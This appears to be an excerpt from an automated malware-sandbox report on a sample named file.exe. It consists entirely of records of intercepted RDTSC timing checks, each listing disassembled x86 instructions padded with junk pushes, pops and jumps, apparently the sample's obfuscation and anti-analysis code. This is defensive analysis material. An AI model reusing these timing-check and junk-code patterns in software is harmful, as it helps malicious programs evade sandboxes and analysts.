Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531036E second address: 53103EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [esi+44h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F1BE4ECC06Dh 0x00000012 sbb cx, 38F6h 0x00000017 jmp 00007F1BE4ECC071h 0x0000001c popfd 0x0000001d mov cx, 79E7h 0x00000021 popad 0x00000022 or edx, dword ptr [ebp+0Ch] 0x00000025 jmp 00007F1BE4ECC06Ah 0x0000002a test edx, 61000000h 0x00000030 pushad 0x00000031 push esi 0x00000032 pushfd 0x00000033 jmp 00007F1BE4ECC06Dh 0x00000038 or ecx, 32B51506h 0x0000003e jmp 00007F1BE4ECC071h 0x00000043 popfd 0x00000044 pop ecx 0x00000045 mov esi, edx 0x00000047 popad 0x00000048 jne 00007F1C56ADA30Bh 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53103EF second address: 53103F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53103F5 second address: 5310436 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC077h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d jmp 00007F1BE4ECC076h 0x00000012 jne 00007F1C56ADA2DDh 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b mov bx, si 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300901 second address: 5300906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300906 second address: 5300948 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1BE4ECC06Dh 0x00000008 mov bx, cx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007F1BE4ECC06Ah 0x00000015 and esp, FFFFFFF8h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx ebx, si 0x0000001e jmp 00007F1BE4ECC076h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300948 second address: 530094D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530094D second address: 530099B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1BE4ECC077h 0x0000000a xor cx, B1FEh 0x0000000f jmp 00007F1BE4ECC079h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F1BE4ECC06Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530099B second address: 53009AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE47673CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53009AB second address: 5300A1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC06Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F1BE4ECC079h 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F1BE4ECC06Eh 0x00000017 xchg eax, esi 0x00000018 jmp 00007F1BE4ECC070h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F1BE4ECC06Ch 0x00000027 adc si, 5818h 0x0000002c jmp 00007F1BE4ECC06Bh 0x00000031 popfd 0x00000032 movzx ecx, bx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300A1C second address: 5300A22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300A22 second address: 5300AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a push eax 0x0000000b mov bx, C278h 0x0000000f pop ebx 0x00000010 pushfd 0x00000011 jmp 00007F1BE4ECC06Eh 0x00000016 and eax, 2DB1B9A8h 0x0000001c jmp 00007F1BE4ECC06Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov esi, dword ptr [ebp+08h] 0x00000026 jmp 00007F1BE4ECC076h 0x0000002b sub ebx, ebx 0x0000002d jmp 00007F1BE4ECC071h 0x00000032 test esi, esi 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F1BE4ECC06Ch 0x0000003b or cx, 4E68h 0x00000040 jmp 00007F1BE4ECC06Bh 0x00000045 popfd 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300AA5 second address: 5300AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300AA9 second address: 5300AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300AAD second address: 5300AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F1C5637CCA0h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1BE47673D7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300AD3 second address: 5300B53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 566Ah 0x00000007 mov eax, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c cmp dword ptr [esi+08h], DDEEDDEEh 0x00000013 jmp 00007F1BE4ECC06Dh 0x00000018 mov ecx, esi 0x0000001a jmp 00007F1BE4ECC06Eh 0x0000001f je 00007F1C56AE1906h 0x00000025 pushad 0x00000026 mov cl, 79h 0x00000028 mov bx, 4C6Eh 0x0000002c popad 0x0000002d test byte ptr [76FA6968h], 00000002h 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 movzx eax, dx 0x0000003a pushfd 0x0000003b jmp 00007F1BE4ECC073h 0x00000040 xor esi, 18A399CEh 0x00000046 jmp 00007F1BE4ECC079h 0x0000004b popfd 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B53 second address: 5300B59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B59 second address: 5300B8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F1C56AE18BBh 0x0000000e jmp 00007F1BE4ECC06Fh 0x00000013 mov edx, dword ptr [ebp+0Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F1BE4ECC070h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B8D second address: 5300B9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B9C second address: 5300BCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 mov ah, DBh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F1BE4ECC078h 0x00000011 mov dword ptr [esp], ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop eax 0x00000019 movsx ebx, ax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300BCC second address: 5300BE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300BE2 second address: 5300BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300BE6 second address: 5300BEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300BEC second address: 5300C3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, ch 0x00000005 movsx edi, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov bx, F3E0h 0x00000011 pushfd 0x00000012 jmp 00007F1BE4ECC079h 0x00000017 sbb ch, FFFFFFE6h 0x0000001a jmp 00007F1BE4ECC071h 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebx 0x00000022 pushad 0x00000023 pushad 0x00000024 mov dh, ah 0x00000026 popad 0x00000027 mov dh, 86h 0x00000029 popad 0x0000002a push dword ptr [ebp+14h] 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300C3F second address: 5300C4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300C4E second address: 5300C66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE4ECC074h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300CD1 second address: 5300CFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b pushad 0x0000000c mov esi, 0AF3E103h 0x00000011 push eax 0x00000012 push edx 0x00000013 mov cl, FDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300CFA second address: 5300D66 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1BE4ECC06Bh 0x00000008 sbb ch, FFFFFFAEh 0x0000000b jmp 00007F1BE4ECC079h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 pop ebp 0x00000015 pushad 0x00000016 call 00007F1BE4ECC06Ch 0x0000001b pushfd 0x0000001c jmp 00007F1BE4ECC072h 0x00000021 jmp 00007F1BE4ECC075h 0x00000026 popfd 0x00000027 pop esi 0x00000028 push eax 0x00000029 push edx 0x0000002a mov bx, 7BD2h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C81 second address: 5310C8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C8E second address: 5310C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C92 second address: 5310C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C96 second address: 5310C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C9C second address: 5310CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310CA2 second address: 5310CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109EB second address: 5310A0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bh, ah 0x0000000d push ebx 0x0000000e mov al, 50h 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A0E second address: 5310A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A12 second address: 5310A16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A16 second address: 5310A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A1C second address: 5310A22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A22 second address: 5310A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A26 second address: 5310A6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F1BE47673CEh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1BE47673D7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A6B second address: 5310A71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A71 second address: 5310A97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1BE47673D0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A97 second address: 5310A9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A9B second address: 5310AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53905FA second address: 5390628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1BE4ECC06Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538077F second address: 5380783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380783 second address: 5380789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380789 second address: 53807A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE47673D9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53807A6 second address: 5380847 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F1BE4ECC06Ah 0x00000010 xor esi, 10AD12E8h 0x00000016 jmp 00007F1BE4ECC06Bh 0x0000001b popfd 0x0000001c mov di, si 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F1BE4ECC072h 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F1BE4ECC06Eh 0x0000002f or ax, 7078h 0x00000034 jmp 00007F1BE4ECC06Bh 0x00000039 popfd 0x0000003a pushfd 0x0000003b jmp 00007F1BE4ECC078h 0x00000040 add si, 8AD8h 0x00000045 jmp 00007F1BE4ECC06Bh 0x0000004a popfd 0x0000004b popad 0x0000004c pop ebp 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F1BE4ECC070h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380847 second address: 538084D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320165 second address: 5320169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320169 second address: 532016D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532016D second address: 5320173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380D30 second address: 5380D34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380D34 second address: 5380D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380D3A second address: 5380D40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380D40 second address: 5380D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533060E second address: 533068D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F1BE47673D3h 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ecx, 7630FCABh 0x00000012 call 00007F1BE47673D0h 0x00000017 mov ecx, 4BD36A11h 0x0000001c pop ecx 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 jmp 00007F1BE47673CDh 0x00000025 push FFFFFFFEh 0x00000027 jmp 00007F1BE47673CEh 0x0000002c push 08738E63h 0x00000031 jmp 00007F1BE47673D1h 0x00000036 xor dword ptr [esp], 7E8B4E7Bh 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 mov edx, 66803D5Eh 0x00000045 mov ax, dx 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533068D second address: 53306CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1BE4ECC06Eh 0x00000008 jmp 00007F1BE4ECC072h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push 1A1EC03Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1BE4ECC073h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53306CF second address: 53306EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53306EC second address: 53306F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53306F2 second address: 5330772 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 6CF16E3Bh 0x00000012 jmp 00007F1BE47673D6h 0x00000017 mov eax, dword ptr fs:[00000000h] 0x0000001d pushad 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F1BE47673CCh 0x00000025 sbb eax, 3AF5BFA8h 0x0000002b jmp 00007F1BE47673CBh 0x00000030 popfd 0x00000031 mov di, cx 0x00000034 popad 0x00000035 jmp 00007F1BE47673D4h 0x0000003a popad 0x0000003b nop 0x0000003c pushad 0x0000003d mov ax, C2DDh 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 pop edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330772 second address: 5330789 instructions: 0x00000000 rdtsc 0x00000002 mov di, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1BE4ECC06Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330789 second address: 5330873 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F1BE47673D6h 0x0000000f sub esp, 1Ch 0x00000012 jmp 00007F1BE47673D0h 0x00000017 xchg eax, ebx 0x00000018 jmp 00007F1BE47673D0h 0x0000001d push eax 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F1BE47673D1h 0x00000025 or eax, 52B6B696h 0x0000002b jmp 00007F1BE47673D1h 0x00000030 popfd 0x00000031 popad 0x00000032 xchg eax, ebx 0x00000033 pushad 0x00000034 call 00007F1BE47673D3h 0x00000039 pushfd 0x0000003a jmp 00007F1BE47673D8h 0x0000003f xor eax, 17857118h 0x00000045 jmp 00007F1BE47673CBh 0x0000004a popfd 0x0000004b pop esi 0x0000004c push eax 0x0000004d push edx 0x0000004e pushfd 0x0000004f jmp 00007F1BE47673CFh 0x00000054 or eax, 043ADDDEh 0x0000005a jmp 00007F1BE47673D9h 0x0000005f popfd 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330873 second address: 53308DB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1BE4ECC070h 0x00000008 xor ax, F5D8h 0x0000000d jmp 00007F1BE4ECC06Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 jmp 00007F1BE4ECC076h 0x0000001c push eax 0x0000001d jmp 00007F1BE4ECC06Bh 0x00000022 xchg eax, esi 0x00000023 jmp 00007F1BE4ECC076h 0x00000028 xchg eax, edi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53308DB second address: 53308DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53308DF second address: 53308E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53308E5 second address: 533098F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1BE47673D2h 0x00000009 add ch, FFFFFFF8h 0x0000000c jmp 00007F1BE47673CBh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 pushad 0x00000017 mov dl, al 0x00000019 mov bl, 77h 0x0000001b popad 0x0000001c xchg eax, edi 0x0000001d jmp 00007F1BE47673D6h 0x00000022 mov eax, dword ptr [76FAB370h] 0x00000027 jmp 00007F1BE47673D0h 0x0000002c xor dword ptr [ebp-08h], eax 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F1BE47673CEh 0x00000036 add cx, 90E8h 0x0000003b jmp 00007F1BE47673CBh 0x00000040 popfd 0x00000041 push eax 0x00000042 push edx 0x00000043 pushfd 0x00000044 jmp 00007F1BE47673D6h 0x00000049 sbb eax, 43A0A348h 0x0000004f jmp 00007F1BE47673CBh 0x00000054 popfd 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533098F second address: 53309B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC078h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xor eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53309B4 second address: 53309B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53309B8 second address: 53309BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53309BE second address: 53309C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53309C4 second address: 53309C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
